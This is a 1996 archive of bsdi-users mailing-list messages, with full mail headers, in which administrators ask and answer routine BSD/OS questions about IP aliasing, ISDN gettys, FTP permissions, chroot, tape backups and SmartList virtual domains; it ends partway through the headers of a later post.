Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA15449 for ; Wed, 27 Nov 1996 11:15:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA22135 for bsdi-users-outgoing; Wed, 27 Nov 1996 11:05:27 -0500 (EST) Message-Id: <199611271552.KAA05390@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: netstart entries revisited Date: Wed, 27 Nov 1996 11:03:59 +0000 after asking the question "what command line entries to use so I don't have to reboot just to re-read netstart for ip aliasing?", a lot of you have said you use lo0 (el-oh-zero) for your aliased ips. My netstart is configured this way: hostname=web-ex.com iface=ne0 ipaddr=205.230.175.10 casavetroip=205.230.175.11 blahip=xxx.xxx.xxx.12 blahblahip=xxx.xxx.xxx.13 and so on.... further down the ifconfigs look like this: ifconfig $iface $casavetroip alias ifconfig $iface $blahip alias ifconfig $iface $blahblahip alias and so on.... however, this is using ne0 for the interface. My question: Is this a bad thing? Should I be using lo0 instead? and why? Thanks again Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Wed Nov 27 19:40:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["220" "" "27" "November" "1996" "14:02:35" "GMT" "Craig Thompson" "CRAIG@wingnet.net" nil "8" "USR NetServers" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA15747 for ; Wed, 27 Nov 1996 11:27:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA22239 for bsdi-users-outgoing; Wed, 27 Nov 1996 11:22:41 -0500 (EST) Path: usenet Newsgroups: info.bsdi.users Organization: WingNET Internet Services Lines: 8 Message-ID: <57hhlr$t80@eirene.wingnet.net> NNTP-Posting-Host: makrothumia.wingnet.net Mime-Version: 1.0 Content-Type: Text/Plain; charset=US-ASCII X-Newsreader: WinVN 0.99.7 Precedence: bulk From: CRAIG@wingnet.net (Craig Thompson) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: USR NetServers Date: 27 Nov 1996 14:02:35 GMT Does anyone know of a good group related to ISPs or the like that I could announce the sale of a couple of USR NetServer/16 boxes? I've used them with BSDI for about 4-5 months but am looking at upgrading. TIA. CT From VM Wed Nov 27 19:40:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2048" "Mon" "28" "October" "1996" "07:36:03" "-0600" "Donald Dahlman" "druid@eoe-magical.org" nil "38" "Sequence of Operations" "^From:" nil nil "10" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA15752 for ; Wed, 27 Nov 1996 11:28:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA22166 for bsdi-users-outgoing; Wed, 27 Nov 1996 11:11:52 -0500 (EST) Message-ID: <3274B6C3.69EC@eoe-magical.org> Organization: eoe-magical.org X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Sequence of Operations Date: Mon, 28 Oct 1996 07:36:03 -0600 I have been reading and working with BSDI 2.1 for a while now, and understand how to do a lot of general starter type things, but really have only touched the surface. What I am finding is a difficult understanding of a logical sequence of tasks from install to basic operation. Lets assume (:( we have just finished an express install on a single computer, with a sixteen user serial card, a ethernet card connected to a pipeline etherframe to a 56k line. Lets assume we are going to be a primary DNS with a class C set of IP's and we will be set up for dynamic IP assignments, we have rebuilt the kernel for 16 slip connections and reconfigured for 16 ppp connections. We have TTYS, GETTYTAB and REMOTE all set up for dialins, we have created a limited shell for guest callins in terminal emulation, using /usr/home/guest, in the shell we have put a script file and at the bottom of our .cshrc file we added 'exec su guest' for an interactive menu for new callers. We have limited dialins to their own directories /usr/home/user1/etc./etc/ so they cannot not access any other users directory or get above their own /user1 directory. We installed WWW at installation time, and at this point are stumped. We still have sendmail, accounting, nfs, usenet mail, and what else.? And what should we do next, and is their any problem with the sequence so far. It would be nice to run a thread on this sequence as I have seen several request that lead me to think this is needed, at least by me. Yes I have all the fancy books and can read, can interpret, and can use and install any free scripts supplied with the CD's from these books, however what if I laid a complete car in front of the average person who knows BSDI completely, all in the smallest of parts, gave them the tools, and the repair manuals, and ask them to assemble it. The problem would be this, the manuals would not tell you the logical sequence of events need to completely assemble the car, only the steps to assemble each sub component, so where would you start. Get the idea.? From VM Wed Nov 27 19:40:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1088" "Wed" "27" "November" "1996" "10:13:00" "-0500" "Sam Brown" "root@ns2.clever.net" nil "31" "Re: Getty and ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA16022 for ; Wed, 27 Nov 1996 11:31:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA22091 for bsdi-users-outgoing; Wed, 27 Nov 1996 10:59:34 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Amy cc: Bill Webb , bsdi-users@BSDI.COM Subject: Re: Getty and ISDN Date: Wed, 27 Nov 1996 10:13:00 -0500 (EST) Of course. v.120 is an asynchronous protocol. ie atdt connect blah blah. The bitsurfers mostly use it because it acts just like a modem (async) and you configure the answering port as a normal fixed rate (64k) modem. On Tue, 26 Nov 1996, Amy wrote: > > > On Tue, 26 Nov 1996, Bill Webb wrote: > > > > I have just gotten two Adtran XRT's and I trying to get them to answer > > > incoming calls. I can get them to answer, but not ask for a login unless > > > i am using V.120 protocol (SLIP, right?) which hangs up once the ppp > > > shell is started. After talking to Adtran tech support for a few hours > > > and going over my configuration with them, we came to the conclusion that > > > the Adtran expects to begin PPP and *then* ask for login and passwd. > > > > > > Does this sound right? If so, does anyone know of a getty that will allow > > > this? Will mgetty handle this type of login? > > > > > > > V.120 is not SLIP, its basically a framing protocol used in TAs and other > > ISDN devices. > > > Is there anyway i can use V.120 with a PPP shell? > > Amy :) > From VM Wed Nov 27 19:40:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1165" "Wed" "27" "November" "1996" "11:40:50" "+0000" "Jim Cassata" "jim@web-ex.com" nil "32" "Re: Upgrading to BSD/OS v2.1 or later" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA16027 for ; Wed, 27 Nov 1996 11:31:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA22231 for bsdi-users-outgoing; Wed, 27 Nov 1996 11:21:53 -0500 (EST) Message-Id: <199611271628.LAA05449@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@rutgers.edu Subject: Re: Upgrading to BSD/OS v2.1 or later Date: Wed, 27 Nov 1996 11:40:50 +0000 > I have the source CD for BSD/OS v2.0. My CDROM Drive is not supported in > that version, I understand from a very helpful person at support@BSDI.COM > that my CDROM type IS supported in BSD/OS 2.1 and later. I need to know > aht I have to do to upgrade my current version to a later version, > prefferable the latest version available. Contact BSDI or a reseller (such as www.asacomputers.com) > I have NO BSD/OS on my > computer. This is all in the installation phase, please keep that in > mind! :) Pretend that I am installing BSD/OS on a blank Disk with a > Mitsumi IDE CRMC-FX410A CDROM Drive (which is what I am doing). > Support@BSDI.com told me after much trying and failure that 2.0 did not > support my model drive.. > > Any help, would be GREATLY appreciated, as I have been working on this for > almost 4 days, and haven't even got my drive partitioned yet! :( Well, as I see it, you could buy a 2.1 binary for about the price of 4 days of your time, OR buy a compatible CD-ROM for $50-$100 Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Wed Nov 27 19:40:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["563" "Wed" "27" "November" "1996" "09:37:40" "-0800" "Drew Gainor" "dgainor@fia.net" nil "23" "RE: ftp rights" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA16312 for ; Wed, 27 Nov 1996 11:48:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA22281 for bsdi-users-outgoing; Wed, 27 Nov 1996 11:42:11 -0500 (EST) Message-ID: <01BBDC46.A362C040@fifc19.fia.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: Drew Gainor Sender: owner-bsdi-users@lists.gateway.com To: "'Stephen Fisher'" , "'BSDI-USERS'" Subject: RE: ftp rights Date: Wed, 27 Nov 1996 09:37:40 -0800 Is there a way to set group rights or just overall rights with wu-ftp? On Tuesday, November 26, 1996 11:05 PM, Stephen Fisher[SMTP:lithium@cia-g.com] wrote: - > - >Usually it is in the source code for the ftpd, try downloading wu-ftpd and - >setting it up how you want it then compile and install it. - > - >On Tue, 26 Nov 1996, Drew Gainor wrote: - > - >> Is there a way to set the default rights for my virtual domain customers? - >> - >> Something like umask? - >> Drew Gainor dgainor@fia.net System Engineer First Internet Franchise Corp. From VM Wed Nov 27 19:40:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1148" "Wed" "27" "November" "1996" "08:35:03" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "24" "Re: directory access" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA17674 for ; Wed, 27 Nov 1996 12:34:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA22395 for bsdi-users-outgoing; Wed, 27 Nov 1996 12:31:38 -0500 (EST) In-Reply-To: <32476539.F29@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: directory access Date: Wed, 27 Nov 1996 08:35:03 -0500 (EST) > ...What I need is to allow them access to /usr/home/user1 > and any directory under user1, but not to any above user1. > How do I do this correctly. I'm afraid the answer is basically "you don't". To give them access to /usr/home/user1, they must have access to /usr and /usr/home. (This is not quite true in a strict sense, but for practical purposes it is.) To allow them to run commands, they must have access to directories like /bin and /usr/bin. And so forth. The best you can do is to set permissions so that they can't actually make any use of (for example) the other directories in /usr/home. It sounds like you need to do more background reading, notably about the Unix permission system. This is an area you need to understand thoroughly if you're trying to run a system with potentially-hostile users on it. (Being able to ask others about it is not enough -- it's fundamental enough that *you* need to understand it completely, or else you need to hire someone who does.) Henry Spencer henry@zoo.toronto.edu From VM Wed Nov 27 19:40:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1111" "Wed" "27" "November" "1996" "12:23:37" "-0500" "Sam Brown" "root@ns2.clever.net" nil "46" "Re: netstart entries revisited" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA17686 for ; Wed, 27 Nov 1996 12:35:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA22376 for bsdi-users-outgoing; Wed, 27 Nov 1996 12:28:29 -0500 (EST) In-Reply-To: <199611271552.KAA05390@web-ex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Jim Cassata cc: bsdi-users@BSDI.COM Subject: Re: netstart entries revisited Date: Wed, 27 Nov 1996 12:23:37 -0500 (EST) Why not just plan ahead and alias the whole c class?? then you don't need to make any changes ro worry about that. Why you using a ne0? thats crazy im afraid. Sam On Wed, 27 Nov 1996, Jim Cassata wrote: > after asking the question "what command line entries to use so I don't > have to reboot just to re-read netstart for ip aliasing?", a lot of you > have said you use lo0 (el-oh-zero) for your aliased ips. My netstart is > configured this way: > > hostname=web-ex.com > iface=ne0 > ipaddr=205.230.175.10 > casavetroip=205.230.175.11 > blahip=xxx.xxx.xxx.12 > blahblahip=xxx.xxx.xxx.13 > and so on.... > > further down the ifconfigs look like this: > > ifconfig $iface $casavetroip alias > ifconfig $iface $blahip alias > ifconfig $iface $blahblahip alias > and so on.... > > however, this is using ne0 for the interface. > My question: Is this a bad thing? Should I be using lo0 instead? > and why? > Thanks again > > Jim Cassata > ______________________ > jim@web-ex.com > Web Express, Inc. > 20 Broadhollow Road > Suite 3011 > Melville, NY 11747 > 516.421.6000 > 516.421.3882 fax > From VM Wed Nov 27 19:40:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["825" "Wed" "27" "November" "1996" "11:05:19" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "22" "Digiboard Problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA19589 for ; Wed, 27 Nov 1996 13:46:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA22548 for bsdi-users-outgoing; Wed, 27 Nov 1996 13:44:13 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Digiboard Problems Date: Wed, 27 Nov 1996 11:05:19 -0800 (PST) I currently have a digiboard 16/EM, 33.6 USR Modems, and using bsdi 2.1 OS. I was wondering if anyone has experience a steady transmit and receive light after the getty starts the tty process. It's almost as if the digi board is sending a signal to the modem. I can't seem to figure this one out. I have tried calling digi on this but the three people I talked to did not know BSDI OS. ALthough they did say it could be a memory allocation problem. I'm not sure what they are talking about. Does this sound like a digi problem or a modem incompatiblity problem? I do apologize for sending this message again, but if anyone has any ideas for me, I would really appreciate the input. Thanks in advance. Chris McGlasson System Administrator Net Connection of Bakersfield 805.391.0561 chrism@chiba.netxn.com From VM Wed Nov 27 19:40:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["425" "Wed" "27" "November" "1996" "11:38:44" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "17" "dump settings" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA19598 for ; Wed, 27 Nov 1996 13:46:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA22512 for bsdi-users-outgoing; Wed, 27 Nov 1996 13:34:20 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: dump settings Date: Wed, 27 Nov 1996 11:38:44 -0700 (MST) Help, I can't backup! I am trying to use dump to backup my system, but I cant figure out what settings I need to use for length and density, well, actually, I do know the length, I just don't know about the density, i see a unit of bpi(also written BPI). Is that supposed to be bits/inch? Bytes/inch? I have a 2Gig dat, using 90M tapes, if that is of any importance. Thanks, Edwin C. Philips edwin@tcsourceone.com From VM Wed Nov 27 19:40:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["277" "Tue" "26" "November" "1996" "07:08" "PST" "Randy Bush" "randy@psg.com" nil "9" "Re: Poor's man Dual Homming?? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA19602 for ; Wed, 27 Nov 1996 13:49:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA22592 for bsdi-users-outgoing; Wed, 27 Nov 1996 13:51:45 -0500 (EST) Message-Id: References: <199611261020.KAA10647@genesis.domino.org> Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: "Neil J. McRae" Cc: Armando Escalante , BSDI users list Subject: Re: Poor's man Dual Homming?? Date: Tue, 26 Nov 96 07:08 PST >>> Does any one know or care to comment on having one route for ALL incomming >>> traffic and A DIFFERENT one for ALL OUTgoing traffic? >> You can't do this with BSDI! > Why not? You could do it with gated like this: Hint: that would be discussed on the gated list. randy From VM Wed Nov 27 19:40:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1443" "Wed" "27" "November" "1996" "14:13:39" "-0500" "Sam Brown" "root@ns2.clever.net" nil "35" "Re: directory access" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA20707 for ; Wed, 27 Nov 1996 14:28:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA22667 for bsdi-users-outgoing; Wed, 27 Nov 1996 14:18:21 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Henry Spencer cc: Donald Dahlman , bsdi-users@BSDI.COM Subject: Re: directory access Date: Wed, 27 Nov 1996 14:13:39 -0500 (EST) Why not chroot them to their home directory and use AMD to mount the bins you want them to access to the machine itself, thus giving them a chroot'ed enviroment with access to all the gnu bins?? Sam On Wed, 27 Nov 1996, Henry Spencer wrote: > > ...What I need is to allow them access to /usr/home/user1 > > and any directory under user1, but not to any above user1. > > How do I do this correctly. > > I'm afraid the answer is basically "you don't". To give them access > to /usr/home/user1, they must have access to /usr and /usr/home. (This > is not quite true in a strict sense, but for practical purposes it is.) > To allow them to run commands, they must have access to directories like > /bin and /usr/bin. And so forth. > > The best you can do is to set permissions so that they can't actually make > any use of (for example) the other directories in /usr/home. > > It sounds like you need to do more background reading, notably about the > Unix permission system. This is an area you need to understand thoroughly > if you're trying to run a system with potentially-hostile users on it. > (Being able to ask others about it is not enough -- it's fundamental enough > that *you* need to understand it completely, or else you need to hire > someone who does.) > > Henry Spencer > henry@zoo.toronto.edu > > From VM Wed Nov 27 19:40:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["952" "Wed" "27" "November" "1996" "14:28:19" "-0500" "Sam Brown" "root@ns2.clever.net" nil "29" "Re: Digiboard Problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA20983 for ; Wed, 27 Nov 1996 14:36:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA22684 for bsdi-users-outgoing; Wed, 27 Nov 1996 14:33:01 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Problems Date: Wed, 27 Nov 1996 14:28:19 -0500 (EST) try ate0 before you plug it in :) On Wed, 27 Nov 1996, Chris McGlasson wrote: > I currently have a digiboard 16/EM, 33.6 USR Modems, and using bsdi 2.1 > OS. > > I was wondering if anyone has experience a steady transmit and receive > light after the getty starts the tty process. It's almost as if the digi > board is sending a signal to the modem. I can't seem to figure this one out. > > I have tried calling digi on this but the three people I talked to did > not know BSDI OS. ALthough they did say it could be a memory allocation > problem. I'm not sure what they are talking about. > > Does this sound like a digi problem or a modem incompatiblity problem? I > do apologize for sending this message again, but if anyone has any ideas > for me, I would really appreciate the input. Thanks in advance. > > Chris McGlasson > System Administrator > Net Connection of Bakersfield > 805.391.0561 > chrism@chiba.netxn.com > > From VM Wed Nov 27 19:40:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["677" "Wed" "27" "November" "1996" "14:57:09" "-0500" "Jason D. Montgomery" "jason@atgi.com" nil "21" "sending mail from a virtual domain" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA21808 for ; Wed, 27 Nov 1996 15:07:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA22782 for bsdi-users-outgoing; Wed, 27 Nov 1996 14:57:40 -0500 (EST) Message-ID: <329C9D15.145E@atgi.com> Reply-To: jason@atgi.com Organization: ATG, Inc. ( http://www.atgi.com ) X-Mailer: Mozilla 3.0 (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: "Jason D. Montgomery" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: sending mail from a virtual domain Date: Wed, 27 Nov 1996 14:57:09 -0500 Hello, I'm trying to find a way to send mail out from our BSDI 2.1 server so that the from address appears to be from one of our virtural domain names. I need to be able to do it with SmartList v3.11pre4. I'd appriciate any solutions or suggestions to help solve this problem. Thanks, Jason --------------------------------------------------------------------- Jason D. Montgomery E-mail: Technicial Director WWW: www.atgi.com Active Technologies Group, Inc. 2999 E. Dublin Granville Rd. Ste#205 Columbus, OH 43231 (614) 523-1135 --------------------------------------------------------------------- From VM Wed Nov 27 19:40:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["875" "Wed" "27" "November" "1996" "11:55:37" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "33" "Re: netstart entries revisited" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA21813 for ; Wed, 27 Nov 1996 15:08:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA22753 for bsdi-users-outgoing; Wed, 27 Nov 1996 14:56:01 -0500 (EST) In-Reply-To: <199611271552.KAA05390@web-ex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Jim Cassata cc: bsdi-users@BSDI.COM Subject: Re: netstart entries revisited Date: Wed, 27 Nov 1996 11:55:37 -0800 (PST) On Wed, 27 Nov 1996, Jim Cassata wrote: > after asking the question "what command line entries to use so I don't > have to reboot just to re-read netstart for ip aliasing?", a lot of you > have said you use lo0 (el-oh-zero) for your aliased ips. My netstart is > configured this way: > > hostname=web-ex.com > iface=ne0 > ipaddr=205.230.175.10 > casavetroip=205.230.175.11 > blahip=xxx.xxx.xxx.12 > blahblahip=xxx.xxx.xxx.13 > and so on.... > > further down the ifconfigs look like this: > > ifconfig $iface $casavetroip alias > ifconfig $iface $blahip alias > ifconfig $iface $blahblahip alias > and so on.... > > however, this is using ne0 for the interface. > My question: Is this a bad thing? Should I be using lo0 instead? > and why? As far as I know, you are doing it the correct way. You configure virtual hosts as aliases to ne0 not lo0. Amy :) From VM Wed Nov 27 19:40:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1727" "Wed" "27" "November" "1996" "15:23:44" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "46" "Re: sending mail from a virtual domain " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA22101 for ; Wed, 27 Nov 1996 15:26:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA22866 for bsdi-users-outgoing; Wed, 27 Nov 1996 15:24:53 -0500 (EST) Message-Id: <199611272023.PAA21889@kci.kciLink.com> In-reply-to: Your message of "Wed, 27 Nov 1996 14:57:09 EST." <329C9D15.145E@atgi.com> Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: jason@atgi.com cc: bsdi-users@BSDI.COM Subject: Re: sending mail from a virtual domain Date: Wed, 27 Nov 1996 15:23:44 -0500 +--------- | I'm trying to find a way to send mail out from our BSDI 2.1 server so | that the from address appears to be from one of our virtural domain | names. I need to be able to do it with SmartList v3.11pre4. I'd | appriciate any solutions or suggestions to help solve this problem. +--------- That's easy then... you do it entirely in SmartList. No changes to your BSD/OS config are necessary except to get your virtual domain email stuff going, which has been *thoroughly* covered on this list already. Edit the rc.init file for *that list only* (you will need to unlink it from the master copy using the .bin/delink program) and change the values of the following variables: domain listaddr listreq to be the "virtual" host values. Then arrange for the listreq address to be re-directed to the actual list name address, and similarly for listaddr. I do this using aliases and the normal sendmail virtual host business. For example, I create a list called virtual-users on my mail host like any other smartlist mailing list. Then I change the rc.init values (after running .bin/delink on the new mailing list's copy of that file) above to domain=virtual.com listaddr=users@virtual.com listreq=users-request@virtual.com Then I just alias users-request@virtual.com to point to virtual-users-request@mydomain.com and users@virtual.com to virtual-users@mydomain.com. Poof. Everything works as expected. Mail to users@virtual.com looks and feels like it really is from that host (unless you inspect the "Received" headers closely). Also, be sure you've had the patches to SmartList 3.11pre4 applied. Let me know if you need them. rc.request and rc.submit need fixing in that release. v. From VM Wed Nov 27 19:40:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["340" "Wed" "27" "November" "1996" "16:21:40" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "15" "Re: netstart entries revisited" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23462 for ; Wed, 27 Nov 1996 16:17:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA23035 for bsdi-users-outgoing; Wed, 27 Nov 1996 16:05:17 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown cc: Jim Cassata , bsdi-users@BSDI.COM Subject: Re: netstart entries revisited Date: Wed, 27 Nov 1996 16:21:40 -0500 (EST) On Wed, 27 Nov 1996, Sam Brown wrote: > Why not just plan ahead and alias the whole c class?? then you don't need > to make any changes ro worry about that. Why you using a ne0? thats crazy > im afraid. That's a great idea -- I never realized you could alias an entire /24 to an ethernet interface. How would one do that? > > Sam From VM Wed Nov 27 19:40:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["622" "Wed" "27" "November" "1996" "07:51:15" "-0600" "Bleau Schneider" "bleau@mail.sparknet.net" nil "14" "Best way to link..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23737 for ; Wed, 27 Nov 1996 16:19:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA23094 for bsdi-users-outgoing; Wed, 27 Nov 1996 16:20:51 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bleau Schneider Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Best way to link... Date: Wed, 27 Nov 1996 07:51:15 -0600 (CST) additional filesystems on a a 4G drive that was only partitioned to use 2G. Why this was done I do not know, it was before me. To clarify a litlle we have a 4G drive that is partitioned to use only 2G, now the need arises to bring up the other 2G but I want to link, say the old /var to the second /var fs, (/var2). What is the best way to creat a hard link so we don't have to worry about two filesystems when we add virtual webs and not have to worry about running out od space on the first /var and calculating daily when things are added to the old system how much space is left. Thanks! Bleau Schneider From VM Wed Nov 27 19:40:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["603" "Wed" "27" "November" "1996" "16:17:46" "-0500" "Jay Vassos-Libove" "libove@libove.mindspring.com" nil "18" "lynx errs with \"start file could not be found or ...\"" "^From:" nil nil "11" nil nil 